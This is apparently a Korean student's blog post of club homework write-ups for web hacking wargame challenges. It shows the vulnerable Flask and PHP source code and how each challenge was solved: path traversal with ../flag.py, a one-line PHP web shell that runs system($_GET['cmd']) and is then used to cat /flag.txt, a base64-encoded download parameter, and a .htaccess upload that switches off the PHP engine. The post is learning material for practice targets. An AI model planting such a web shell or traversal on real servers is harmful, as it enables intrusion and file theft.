Layer7 동아리 과제

웹 해킹 7차시 과제

msh1307 2022. 5. 22. 16:59

file-download-1 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
import os
import shutil
 
from flask import Flask, request, render_template, redirect
 
from flag import FLAG
 
APP = Flask(__name__)
 
UPLOAD_DIR = 'uploads'
 
 
@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)
 
 
@APP.route('/upload', methods=['GET''POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')
 
        if filename.find('..'!= -1:
            return render_template('upload_result.html', data='bad characters,,')
 
        with open(f'{UPLOAD_DIR}/{filename}''wb'as f:
            f.write(content)
 
        return redirect('/')
 
    return render_template('upload.html')
 
 
@APP.route('/read')
def read_memo():
    error = False
    data = b''
 
    filename = request.args.get('name''')
 
    try:
        with open(f'{UPLOAD_DIR}/{filename}''rb'as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True
 
 
    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)
 
 
if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)
 
    os.mkdir(UPLOAD_DIR)
 
    APP.run(host='0.0.0.0', port=8000)
 
 
cs

풀이


메모를 아무거나 올려봤습니다.

몇 개를 올려봤다.

눌러서 읽을 수 있다. 그런데 여기서 name을 파라미터로 받아서 읽는 것을 확인할 수 있다.

또 코드에서 open(f'{UPLOAD_DIR}/{filename}','wb') as f: 부분을 보면, 검증 없이 사용자의 입력을 받아들이는 것을 확인해줄 수 있다.

문제에서 flag.py를 읽어오라고 했기 때문에 flag.py를 파라미터로 넘겼다.

없으니까 좀더 상위 디렉토리에서 찾으려고 ../flag.py를 넣었다.

flag를 얻을 수 있다.

 

image-storage 소스 코드


upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
  if ($_SERVER['REQUEST_METHOD'=== 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name$directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>
 
cs

list.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
 
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>
cs

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
 
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
        <h2>Upload and Share Image !</h2>
    </div> 
</body>
</html>
cs

풀이


1
<?php echo system($_GET['cmd']); ?>
cs

pay.php를 하나 만들어서 코드를 저렇게 적어줬다. 

그다음 업로드했다. 

문제에서 /flag.txt를 읽으라고 했으니 눌러서 ?cmd=cat /flag.txt를 인자로 넣어줬다.

flag를 얻을 수 있다.

 

webhacking.kr old-42 문제


 text.txt는 다운로드하면 되는데 flag.docx를 받으려고 하면, 

이렇게 뜬다. 

F12를 눌러서 개발자도구로 한번 확인해보았다.

test.txt는? down=dGVzdC50eHQ=로 이동하게 해 주지만, flag.docx는 그냥 scheme부터 javascript로 줄 생각이 없다는 것을 알 수 있다. 

dGVzdC50eHQ=가 base64 인코딩 된 거 같아서 base64로 돌려봤다.

https://www.convertstring.com/ko/EncodeDecode/Base64Decode

 

Base64로 디코딩 - 온라인 Base64로 디코더

당신의 Base64로 여기에 텍스트를 디코딩 복사 파일로 디코딩 Base64로 다운로드 :

www.convertstring.com

돌려보니 test.txt가 나왔다. 

그래서 flag.docx를 base64로 인코딩을 다시 해줬더니 ZmxhZy5kb2N4가 나왔다.

?down=ZmxhZy5kb2N4을 보내봤다.

다운로드를 받을 수 있었다.

 

webhacking.kr old-28 문제


웹 쉘을 업로드 했더니, 필터링이 된다. 

찾아보다 도움이 될만한 글들을 찾았다.

https://kangsecu.tistory.com/99

 

.htaccess 웹쉘 업로드 공격

.htaccess란? htaccess는 hypertext access의 약자로, Apache웹 서버의 디렉토리를 설정하는 기본 파일 특정 디렉토리에 위치하고, 해당 디렉토리 및 모든 하위 디렉토리에 영향을 행사 여기에 사용자가 요

kangsecu.tistory.com

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=trader_ryu&logNo=204828903

 

[PHP] .htaccess 파일을 이용한 웹쉘 수행.

개요 웹에서 환경변수들에 대한 지정을 하기위한 파일. 이 파일은 글로벌 환경변수를 무시하고 다른 환경설...

blog.naver.com

 

/etc/httpd/conf/httpd.conf이 파일에 기본 설정이 있고, 같은 폴더에 .htaccess가 있으면, 글로벌 환경 변수를 설정하지 않고, 현재 폴더에 다른 환경 변수를 설정할 수 있다고 한다. 

그래서 flag.php가 같은 폴더안에 있기 때문에 .htaccess 파일을 업로드해서 글로벌 환경 변수의 영향을 받지 않고 따로 바꿔줄 수 있다. 

 

flag.php 자체는 접근이 가능하다. 하지만 읽어오는 것이 목적이기 때문에 

php_flag engine off를 .htaccess에 적어서 php엔진을 끄면, 코드를 볼 수 있다. 

.htaccess에 php_flag engine off를 적어서 올렸다.

그다음 flag.php에 들어가면 코드를 볼 수 있다.

 

'Layer7 동아리 과제' 카테고리의 다른 글

하드웨어 1차시 과제  (0) 2022.06.08
웹 해킹 8차시 과제  (0) 2022.05.25
웹 해킹 6차시 과제  (0) 2022.05.19
웹 해킹 4차시 과제  (0) 2022.05.16
웹 해킹 2차시 과제  (0) 2022.05.08